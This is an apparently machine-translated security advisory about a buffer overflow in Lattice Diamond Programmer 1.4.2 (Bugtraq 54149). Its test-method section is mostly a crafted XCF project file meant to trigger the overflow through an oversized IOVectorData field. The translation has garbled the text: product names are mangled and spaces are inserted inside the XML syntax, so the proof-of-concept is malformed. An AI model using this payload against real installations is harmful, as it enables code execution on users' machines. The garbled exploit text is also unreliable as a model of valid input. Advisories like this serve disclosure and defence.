Lattice Diamond Programmer Buffer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
Lattice semicondudiamond Programmer
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54149

Lattice Diamond is a FPGA design software suite.

Diamond Programmer 1.4.2 and other versions have a buffer overflow vulnerability. Attackers can exploit this vulnerability to execute arbitrary code.

<* Source: Daniel Kazimirow
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Daniel Kazimirow () provides the following test methods:

/-----
<? Xml version = '1. 0' encoding = 'utf-8'?>
<! DOCTYPE ispXCF SYSTEM "IspXCF. dtd">
<IspXCF
Version = "external">
<Comment> </Comment>
<Chain>
<Comm> JTAG </Comm>
<Device>
<Pos> 1 </Pos>
<Vendor> Lattice </Vendor>
<Family> ispLSI 5000VE </Family>
<Name> 5256VE </Name>
<IDCode> 0x00368043 </IDCode>
<Package> 128-pin tqfp</Package>
<PON> ispLSI5256VE-XXLT128 </PON>
<Bypass>
<Len> 5 </Len>
<Interval Val> 11111 </interval Val>
<BScanLen> 1 </BScanLen>
<BScanVal> 0 </BScanVal>
</Bypass>
<File> C: \ ispTOOLS \ ispvmsystem \ TutorialU6vea. jed </File>
<FileTime> 05/17/02 18:15:33 </FileTime>
<JedecChecksum> 0xF9BD </JedecChecksum>
<Operation> Erase, Program, Verify </Operation>
<Option>
<SVFVendor> jtag standard </SVFVendor>
<IOState> HighZ </IOState>

<IOVectorData> 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 </IOVectorData>
<Reinitialize value = "TRUE"/>
<OverideUES value = "TRUE"/>
<TCKFrequency> 1.000000 MHz </TCKFrequency>
<SVFProcessor> ispVM </SVFProcessor>
<Usercode> 0x0000F9BD </Usercode>
</Option>
</Device>
</Chain>
<ProjectOptions>
<Program> SEQUENTIAL </Program>
<Process> entired chain </Process>
<OperationOverride> No Override </OperationOverride>
<StartTAP> LR </StartTAP>
<EndTAP> LR </EndTAP>
<DeGlitch value = "TRUE"/>
<VerifyUsercode value = "TRUE"/>
<PinSetting>
Tms low;
Tck low;
Tdi low;
Tdo low;
Trst absent;
CableEN HIGH;
</PinSetting>
</ProjectOptions>
</IspXCF>
-----/

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Lattice semicondu
---------------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.latticesemi.com/products/designsoftware/programmer/index.cfm